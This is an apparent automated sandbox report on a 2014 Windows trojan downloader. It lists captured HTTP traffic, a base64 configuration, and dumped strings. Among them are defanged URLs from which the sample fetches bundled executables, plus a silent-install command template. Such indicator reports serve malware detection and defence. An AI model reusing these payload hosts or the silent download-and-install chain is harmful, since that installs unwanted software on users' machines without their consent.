Host: update.aiqingzhihui.com<br>

User-Agent: NSISDL/1.2 (Mozilla)<br>

Accept: */*<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Date: Sun, 17 Aug 2014 02:21:11 GMT<br>

Content-Length: 654<br>

Content-Type: text/html<br>

Last-Modified: Fri, 11 Jul 2014 09:40:27 GMT<br>

Connection: Close<br>

ETag: "9884ea25ec9ccf1:4ee"<br>

Accept-Ranges: bytes<br>

Server: Microsoft-IIS/6.0<br>

X-Powered-By: ASP.NET<br>

Fw-Via: DISK HIT from ctl-hn-217-175.fcd<br><pre>TRW2VjdF0KOTc9MQo5OD0xCjk5PTEKMTAwPTEKMTAxPTEKMTAyPTEKMTAzPTEKMTA0PTEK<br>MTA1PTEKMTA2PTEKMTA3PTEKMTA4PTEKMTA5PTEKMTEwPTEKMTExPTEKMTEyPTEKMTEzPT<br>EKMTE0PTEKMTE1PTEKMTE2PTEKMTE3PTEKMTE4PTEKMTE5PTEKMTIwPTEKMTIxPTEKMTIy<br>PTEKMTIzPTEKMTI0PTEKMTI1PTEKMTI2PTEKMTI3PTEKMTI4PTEKMTI5PTEKMTMwPTEKMT<br>MxPTEKMTMyPTEKMTMzPTEKMTM0PTEKMTM1PTEKMTM2PTEKMTM3PTEKMTM4PTEKMTQxPTEK<br>MTQyPTEKW3JlY10KMD1odHRwOi8vZG93bi5sYW9jaGVoZS5jb20vMDYxOS9wanl5Xzg5Xz<br>MuZ2lmCltkaXJdCjA9cGp5eV84OV8zLmV4ZQpbZ10KMD0xCltwYV0KMD0xCltpMV0KMD0x<br>CltpMl0KMD3nvo7omJHlm6LotK0KW2kzXQowPWh0dHA6Ly93d3cubWVpbW90dWFuLmNvbS<br>9pY28uaWNvCltpNF0KMD1tbXQuaWNvCltpNV0KMD1odHRwOi8vd3d3Lm1laW1vdHVhbi5j<br>b20vP2FxMQpbZWRdCkUwPTE=..</pre></font><br><br

<font color="red">GET /stat.htm?id=2701879&r=&lg=en-us&ntime=none&cnzz_eid=1584515375-1408242084-&showp=1276x846&t=&h=1&rnd=1072095621 HTTP/1.1<br>

Accept: */*<br>

Referer: hXXp://tv.aiqingzhihui.com/zhibo2.html?id=pczh_107_306.exe&en=2014-8-17&go=<br>

Accept-Language: en-us<br>

Accept-Encoding: gzip, deflate<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

Host: hzs17.cnzz.com<br>

Connection: Keep-Alive<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Server: Tengine/1.4.1<br>

Date: Sun, 17 Aug 2014 02:21:25 GMT<br>

Content-Type: image/gif<br>

Content-Length: 43<br>

Last-Modified: Tue, 28 May 2013 02:57:17 GMT<br>

Connection: close<br>

Accept-Ranges: bytes<br><pre>GIF89a.............!.......,...........D..;..</pre></font><br><br

<font color="red">GET /downcontainer/downLoadList.do HTTP/1.1<br>

Accept: */*<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)<br>

Host: admin.downloader.re63.cn<br>

Cache-Control: no-cache<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Server: nginx<br>

Date: Sun, 17 Aug 2014 02:20:35 GMT<br>

Content-Type: text/html; charset=UTF-8<br>

Transfer-Encoding: chunked<br>

Connection: keep-alive<br>

Vary: Accept-Encoding<br><pre>2ef..<?xml version='1.0' encoding='UTF-8'?><setup><prod<br>uct id='0' oemId='0' name='guagua' companyName='......' productFullNam<br>e='......' version='5.1.4' /><product id='0' oemId='1' name='gua<br>gua' companyName='......' productFullName='......2' version='5.1.4' /&<br>gt;<product id='0' oemId='2' name='guagua' companyName='......' pro<br>ductFullName='......-............' version='5.1.4' /><product id<br>='0' oemId='3' name='guagua' companyName='......' productFullName='...<br>...-......-............' version='5.1.4' /><product id='0' oemId<br>='4' name='guagua' companyName='......' productFullName='......-......<br>-............' version='5.1.4' /><product id='0' oemId='5' name=<br>'guagua' companyName='......' productFullName='......-......-.........<br>...' version='5.1.4' /></setup>..0..</font>....</pre></font><br><br><font color="red">GET /downcontainer/downLoadForGuaGua.do?recid=77150006814 HTTP/1.1<br>

Accept: */*<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)<br>

Host: admin.downloader.re63.cn<br>

Cache-Control: no-cache<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Server: nginx<br>

Date: Sun, 17 Aug 2014 02:20:35 GMT<br>

Transfer-Encoding: chunked<br>

<<< skipped >>>

<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=21364736-<br>

Referer: hXXp://dlsw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Sun, 17 Aug 2014 02:21:13 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 4639568<br>

Connection: close<br>

ETag: c7062e404128917808756500d58121ee<br>

Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>

Expires: Mon, 18 Aug 2014 15:00:39 GMT<br>

Age: 127234<br>

Content-Range: bytes 21364736-26004303/26004304<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>

x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>

x-bs-meta-crc32: 2839405489<br>

Content-MD5: c7062e404128917808756500d58121ee<br>

<<< skipped >>>

<font color="red">GET /wwwww_3340.zip HTTP/1.0<br>

Host: yunbo.luopf.cn<br>

User-Agent: NSISDL/1.2 (Mozilla)<br>

Accept: */*<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Content-Length: 3591824<br>

Content-Type: application/x-zip-compressed<br>

Last-Modified: Thu, 12 Jun 2014 11:07:17 GMT<br>

Accept-Ranges: bytes<br>

ETag: "eae152792e86cf1:32d"<br>

Server: Microsoft-IIS/6.0<br>

Date: Sun, 17 Aug 2014 02:21:04 GMT<br>

<<< skipped >>>

<font color="red">GET /sw-search-sp/client2/common/patch/19035267599/BDMReport.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=524288-<br>

Referer: hXXp://xf.baidu.com<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Sun, 17 Aug 2014 02:20:31 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 683232<br>

Connection: close<br>

ETag: 30cbc602ada7cdfb0346038c05996d84<br>

Last-Modified: Wed, 30 Apr 2014 05:22:28 GMT<br>

Expires: Mon, 18 Aug 2014 14:59:38 GMT<br>

Age: 127253<br>

Content-Range: bytes 524288-1207519/1207520<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DC8389F18378C004A7004B30F60323AD<br>

x-bs-request-id: MTAuNTcuMTIyLjM1OjgwODA6MjM1OTEyNDY2MzoyOC9KdWwvMjAxNCAyMjo1OTowNiA=<br>

x-bs-meta-crc32: 2965621797<br>

Content-MD5: 30cbc602ada7cdfb0346038c05996d84<br>

<<< skipped >>>

<font color="red">GET /stat.php?id=2701879&web_id=2701879 HTTP/1.1<br>

Accept: */*<br>

Referer: hXXp://tv.aiqingzhihui.com/zhibo2.html?id=pczh_107_306.exe&en=2014-8-17&go=<br>

Accept-Language: en-us<br>

Accept-Encoding: gzip, deflate<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

Host: s6.cnzz.com<br>

Connection: Keep-Alive<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Server: Tengine<br>

Date: Sun, 17 Aug 2014 02:21:24 GMT<br>

Content-Type: application/javascript<br>

Transfer-Encoding: chunked<br>

Connection: keep-alive<br>

Last-Modified: Sun, 17 Aug 2014 02:21:24 GMT<br>

<<< skipped >>>

<font color="red">GET /core.php?web_id=2701879&t=z HTTP/1.1<br>

Accept: */*<br>

Referer: hXXp://tv.aiqingzhihui.com/zhibo2.html?id=pczh_107_306.exe&en=2014-8-17&go=<br>

Accept-Language: en-us<br>

Accept-Encoding: gzip, deflate<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

Host: c.cnzz.com<br>

Connection: Keep-Alive<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Server: Tengine<br>

Date: Sun, 17 Aug 2014 02:21:25 GMT<br>

Content-Type: application/javascript<br>

Transfer-Encoding: chunked<br>

Connection: keep-alive<br>

Last-Modified: Sun, 17 Aug 2014 02:21:25 GMT<br>

<<< skipped >>>

<font color="red">GET /sw-search-sp/client2/common/patch/19562458020/BDLogicUtils.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=491520-<br>

Referer: hXXp://xf.baidu.com<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Sun, 17 Aug 2014 02:20:28 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 432976<br>

Connection: close<br>

ETag: 44edff85d12e091f0b129f05a3f2a042<br>

Last-Modified: Tue, 06 May 2014 07:48:08 GMT<br>

Expires: Mon, 18 Aug 2014 14:59:49 GMT<br>

Age: 127239<br>

Content-Range: bytes 491520-924495/924496<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: 45FD47DB9BA063A62A2F1AF299C66DD6<br>

x-bs-request-id: MTAuNDYuMTU3LjIzOjgwODA6MTU1MDU3MDk3NDoyOC9KdWwvMjAxNCAyMjo1ODo0MyA=<br>

x-bs-meta-crc32: 3569711378<br>

Content-MD5: 44edff85d12e091f0b129f05a3f2a042<br>

<<< skipped >>>

<font color="red">GET /client/dllw5/BDLogicUtils.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=786432-<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Mon, 08 Sep 2014 06:25:46 GMT<br>

Date: Sat, 09 Aug 2014 06:25:46 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Tue, 06 May 2014 06:31:30 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 786432-924495/924496<br>

Content-Length: 138064<br>

Age: 676482<br>

Via: 1.0 wzpy220:8080 (Cdn Cache Server V2.0), 1.0 shiben10:10001 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDLogicUtils.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /client/dllw5/BDLogicUtils.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=688128-<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Mon, 08 Sep 2014 06:25:46 GMT<br>

Date: Sat, 09 Aug 2014 06:25:46 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Tue, 06 May 2014 06:31:30 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 688128-924495/924496<br>

Content-Length: 236368<br>

Age: 676483<br>

Via: 1.0 wzpy220:8080 (Cdn Cache Server V2.0), 1.0 shiben10:10001 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDLogicUtils.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_188:

.text

.text

`.rdata

`.rdata

@.data

@.data

.ndata

.ndata

.rsrc

.rsrc

uDSSh

uDSSh

.DEFAULT\Control Panel\International

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

Software\Microsoft\Windows\CurrentVersion

GetWindowsDirectoryA

GetWindowsDirectoryA

KERNEL32.dll

KERNEL32.dll

ExitWindowsEx

ExitWindowsEx

USER32.dll

USER32.dll

GDI32.dll

GDI32.dll

SHFileOperationA

SHFileOperationA

ShellExecuteA

ShellExecuteA

SHELL32.dll

SHELL32.dll

RegEnumKeyA

RegEnumKeyA

RegCreateKeyExA

RegCreateKeyExA

RegCloseKey

RegCloseKey

RegDeleteKeyA

RegDeleteKeyA

RegOpenKeyExA

RegOpenKeyExA

ADVAPI32.dll

ADVAPI32.dll

COMCTL32.dll

COMCTL32.dll

ole32.dll

ole32.dll

VERSION.dll

VERSION.dll

verifying installer: %d%%

verifying installer: %d%%

unpacking data: %d%%

unpacking data: %d%%

... %d%%

... %d%%

hXXp://nsis.sf.net/NSIS_Error

hXXp://nsis.sf.net/NSIS_Error

~nsu.tmp

~nsu.tmp

%u.%u%s%s

%u.%u%s%s

RegDeleteKeyExA

RegDeleteKeyExA

%s=%s

%s=%s

*?|/":

*?|/":

\LOCALS~1\Temp\nsi3.tmp\NSISdl.dll

\LOCALS~1\Temp\nsi3.tmp\NSISdl.dll

_dubo_001.exe"

_dubo_001.exe"

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsi3.tmp\NSISdl.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsi3.tmp\NSISdl.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsi3.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsi3.tmp

WS2_32.dll

WS2_32.dll

NSISdl.dll

NSISdl.dll

invalid URL

invalid URL

Host: %s

Host: %s

GET %s HTTP/1.0

GET %s HTTP/1.0

User-Agent: NSISDL/1.2 (Mozilla)

User-Agent: NSISDL/1.2 (Mozilla)

http=

http=

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Unable to open %s

Unable to open %s

%skB (%d%%) of %skB at %u.ukB/s

%skB (%d%%) of %skB at %u.ukB/s

(%u hours remaining)

(%u hours remaining)

(%u minutes remaining)

(%u minutes remaining)

(%u seconds remaining)

(%u seconds remaining)

Downloading %s

Downloading %s

.reloc

.reloc

System.dll

System.dll

callback%d

callback%d

BBB.DDD

BBB.DDD

Thawte Certification1

Thawte Certification1

hXXp://ocsp.thawte.com0

hXXp://ocsp.thawte.com0

.hXXp://crl.thawte.com/ThawteTimestampingCA.crl0

.hXXp://crl.thawte.com/ThawteTimestampingCA.crl0

&hXXps://VVV.globalsign.com/repository/03

&hXXps://VVV.globalsign.com/repository/03

"hXXp://crl.globalsign.net/root.crl0

"hXXp://crl.globalsign.net/root.crl0

hXXp://ts-ocsp.ws.symantec.com07

hXXp://ts-ocsp.ws.symantec.com07

hXXp://ts-aia.ws.symantec.com/tss-ca-g2.cer0

hXXp://ts-aia.ws.symantec.com/tss-ca-g2.cer0

hXXp://ts-crl.ws.symantec.com/tss-ca-g2.crl0(

hXXp://ts-crl.ws.symantec.com/tss-ca-g2.crl0(

&hXXps://VVV.globalsign.com/repository/0

&hXXps://VVV.globalsign.com/repository/0

-hXXp://crl.globalsign.com/gs/gscodesigng2.crl0P

-hXXp://crl.globalsign.com/gs/gscodesigng2.crl0P

4hXXp://secure.globalsign.com/cacert/gscodesigng2.crt0

4hXXp://secure.globalsign.com/cacert/gscodesigng2.crt0

DhXXp://crl.microsoft.com/pki/crl/products/MicrosoftCodeVerifRoot.crl0

DhXXp://crl.microsoft.com/pki/crl/products/MicrosoftCodeVerifRoot.crl0

{Z%2X

{Z%2X

WL6.VA

WL6.VA

fl.Ll4i

fl.Ll4i

X.OV h

X.OV h

nsi3.tmp

nsi3.tmp

5.exe

5.exe

001.exe"

001.exe"

\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsi3.tmp

\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsi3.tmp

%original file name%.exe

%original file name%.exe

c:\%original file name%.exe

c:\%original file name%.exe

%Program Files%\erty7

%Program Files%\erty7

1\Temp\nsi3.tmp\hgds8

1\Temp\nsi3.tmp\hgds8

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsd1.tmp

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsd1.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

%Program Files%\updatr

%Program Files%\updatr

adwoca_00005.exe

adwoca_00005.exe

01.exe

01.exe

hXXp://yunbo.luopf.cn/adwoca_00005.zip

hXXp://yunbo.luopf.cn/adwoca_00005.zip

01.zip

01.zip

Nullsoft Install System v2.45

Nullsoft Install System v2.45

2014.07.27.150521

2014.07.27.150521

%original file name%.exe_188_rwx_10004000_00001000:

callback%d

callback%d

guagua_77150006814.exe_1016:

.text

.text

`.rdata

`.rdata

@.data

@.data

.rsrc

.rsrc

t.Ht4

t.Ht4

.\ConfigDlg.cpp

.\ConfigDlg.cpp

GuaGua\ServiceClient.exe

GuaGua\ServiceClient.exe

Player\DefCamSetup.dll

Player\DefCamSetup.dll

CamerDll:%s

CamerDll:%s

dbghelp.dll

dbghelp.dll

%sddd_ddd.dmp

%sddd_ddd.dmp

CGuaGuaMsgBoxDlg

CGuaGuaMsgBoxDlg

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\%s.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\%s.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\%s

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\%s

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

.\ImageMgr.cpp

.\ImageMgr.cpp

Resource%d

Resource%d

FirstImage %s

FirstImage %s

LastImage %s

LastImage %s

Image%d

Image%d

%c:\Program Files\

%c:\Program Files\

.\ProductInfoMgr.cpp

.\ProductInfoMgr.cpp

GetAllProductInfo %d

GetAllProductInfo %d

hXXp://admin.downloader.re63.cn/downcontainer/downLoadList.do

hXXp://admin.downloader.re63.cn/downcontainer/downLoadList.do

log\1.xml

log\1.xml

hXXp://admin.downloader.re63.cn/downcontainer/downLoadForGuaGua.do

hXXp://admin.downloader.re63.cn/downcontainer/downLoadForGuaGua.do

%s?id=%s&recid=%I64d

%s?id=%s&recid=%I64d

%s?recid=%I64d

%s?recid=%I64d

log\2.xml

log\2.xml

installUrl

installUrl

installUrl2

installUrl2

licenseUrl

licenseUrl

LoadConfig %d

LoadConfig %d

App GetProductInfo(%s) Error %d

App GetProductInfo(%s) Error %d

hXXp://img001.com/business/kele.exe

hXXp://img001.com/business/kele.exe

hXXp://img001.com/business/qixi.exe

hXXp://img001.com/business/qixi.exe

hXXp://img001.com/business/qiji.exe

hXXp://img001.com/business/qiji.exe

hXXp://img001.com/business/juxing.exe

hXXp://img001.com/business/juxing.exe

hXXp://img001.com/business/pingguo.exe

hXXp://img001.com/business/pingguo.exe

hXXp://img001.com/business/caihong.exe

hXXp://img001.com/business/caihong.exe

hXXp://d.re71.cn/business/kele.exe

hXXp://d.re71.cn/business/kele.exe

hXXp://d.re71.cn/business/qixi.exe

hXXp://d.re71.cn/business/qixi.exe

hXXp://d.re71.cn/business/qiji.exe

hXXp://d.re71.cn/business/qiji.exe

hXXp://d.re71.cn/business/juxing.exe

hXXp://d.re71.cn/business/juxing.exe

hXXp://d.re71.cn/business/pingguo.exe

hXXp://d.re71.cn/business/pingguo.exe

hXXp://d.re71.cn/business/caihong.exe

hXXp://d.re71.cn/business/caihong.exe

hXXp://VVV.%s.com

hXXp://VVV.%s.com

hXXp://cj.%s.com/downloader/

hXXp://cj.%s.com/downloader/

hXXp://img001.com/business/guagua_setup.exe

hXXp://img001.com/business/guagua_setup.exe

hXXp://img001.com/business/guagua_dance_setup.exe

hXXp://img001.com/business/guagua_dance_setup.exe

GuaGua\GuaGua.exe

GuaGua\GuaGua.exe

Dance\ChatHall.exe

Dance\ChatHall.exe

hXXp://cj.guagua.cn/downloader/

hXXp://cj.guagua.cn/downloader/

ChatHall.exe

ChatHall.exe

UpdateConfig Success%d

UpdateConfig Success%d

hXXp://download.re63.cn

hXXp://download.re63.cn

LoadCookie %d

LoadCookie %d

LoadCookie: RecommendStr=%s

LoadCookie: RecommendStr=%s

%d:%I64d:%d

%d:%I64d:%d

UpdateConfig RecType:%d, RecId:%I64d, Ad:%d

UpdateConfig RecType:%d, RecId:%I64d, Ad:%d

HMAFROMURL

HMAFROMURL

UpdateConfig: SourceUrl=%s

UpdateConfig: SourceUrl=%s

UpdateConfig: WebID=%s

UpdateConfig: WebID=%s

G1.0.0

G1.0.0

%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s&dltime=%d

%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s&dltime=%d

%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s

%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s

%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s&dltime=%d&insttime=%d&homepage=%d&recinst=%d

%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s&dltime=%d&insttime=%d&homepage=%d&recinst=%d

%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s&err=%d

%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s&err=%d

rec_type:%d,

rec_type:%d,

rec_ad:%d,

rec_ad:%d,

src_url:%s,

src_url:%s,

web_id:%s,

web_id:%s,

.\ReptThread.cpp

.\ReptThread.cpp

Rept %s Result [%d, %d]

Rept %s Result [%d, %d]

%slog\ddd ddd.log

%slog\ddd ddd.log

.\SetupTool.cpp

.\SetupTool.cpp

CSetupToolApp %d

CSetupToolApp %d

CImageMgr::Instance().LoadFromServer()

CImageMgr::Instance().LoadFromServer()

CImageMgr::Instance().LoadFromServer() Success

CImageMgr::Instance().LoadFromServer() Success

/S /AUTOSTART=%s /COMMENDER_ID=%s /D=%s

/S /AUTOSTART=%s /COMMENDER_ID=%s /D=%s

.\SetupToolDlg.cpp

.\SetupToolDlg.cpp

Launch InstallProgram: %s %s

Launch InstallProgram: %s %s

State=%d

State=%d

nCount=%d,currentImage=%d

nCount=%d,currentImage=%d

GuaGua\ServiceClient.dll

GuaGua\ServiceClient.dll

Call LaunchGuaGua(%s)

Call LaunchGuaGua(%s)

Exec %s [%d]

Exec %s [%d]

-%%

-%%

\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\Path.cpp

\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\Path.cpp

ExecApp %s %s [%d]

ExecApp %s %s [%d]

[%d, %d]: %s

[%d, %d]: %s

\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\ColorCheckButton.cpp

\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\ColorCheckButton.cpp

Checked %d

Checked %d

\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\BitmapFile.cpp

\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\BitmapFile.cpp

CBitmapFile::Open(%s)

CBitmapFile::Open(%s)

\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\DownloadManager.cpp

\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\DownloadManager.cpp

InternalDownloadFile() break=%d

InternalDownloadFile() break=%d

SupportBreakDownload

SupportBreakDownload

Begin SupportBreakDownload

Begin SupportBreakDownload

End SupportBreakDownload bThreadFinish=%d

End SupportBreakDownload bThreadFinish=%d

\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\DownloadThread.cpp

\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\DownloadThread.cpp

Begin OnExecute GetUnfinishBytes nId=%d

Begin OnExecute GetUnfinishBytes nId=%d

End OnExecute GetUnfinishBytes nId=%d

End OnExecute GetUnfinishBytes nId=%d

End OnExecute Receive nId=%d

End OnExecute Receive nId=%d

Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)

Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)

\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\HttpClass.cpp

\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\HttpClass.cpp

CHttpClass SetOption

CHttpClass SetOption

CHttpClass SetOption Finish

CHttpClass SetOption Finish

GetHttpFile(%s, %s) error: [%d,%d]%s

GetHttpFile(%s, %s) error: [%d,%d]%s

SendHttpMsg %d

SendHttpMsg %d

SendHttpMsg %d %s

SendHttpMsg %d %s

SendHttpMsg(%s) error: [%d,%d]%s

SendHttpMsg(%s) error: [%d,%d]%s

User-Agent: %s

User-Agent: %s

Content-Type: application/x-www-form-urlencoded

Content-Type: application/x-www-form-urlencoded

PostHttpMsg(%s) error: [%d,%d]%s

PostHttpMsg(%s) error: [%d,%d]%s

GetHttpFileInfo(%s) error: [%d,%d]%s

GetHttpFileInfo(%s) error: [%d,%d]%s

HttpRangeRequest(%s, %I64d, %I64d) error: [%d,%d]%s

HttpRangeRequest(%s, %I64d, %I64d) error: [%d,%d]%s

HttpRequest(%s) error: [%d,%d]%s

HttpRequest(%s) error: [%d,%d]%s

ReceiveBytes(%d) error: [%d,%d]%s

ReceiveBytes(%d) error: [%d,%d]%s

\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\OutputFile.cpp

\New_Login\GuaGua\trunk\Client\OnlineSetupV2_GuaGua\Common\OutputFile.cpp

%s, %d

%s, %d

%s, length = %I64d err = %d

%s, length = %I64d err = %d

COutputFile::WriteData(%I64d, %d)

COutputFile::WriteData(%I64d, %d)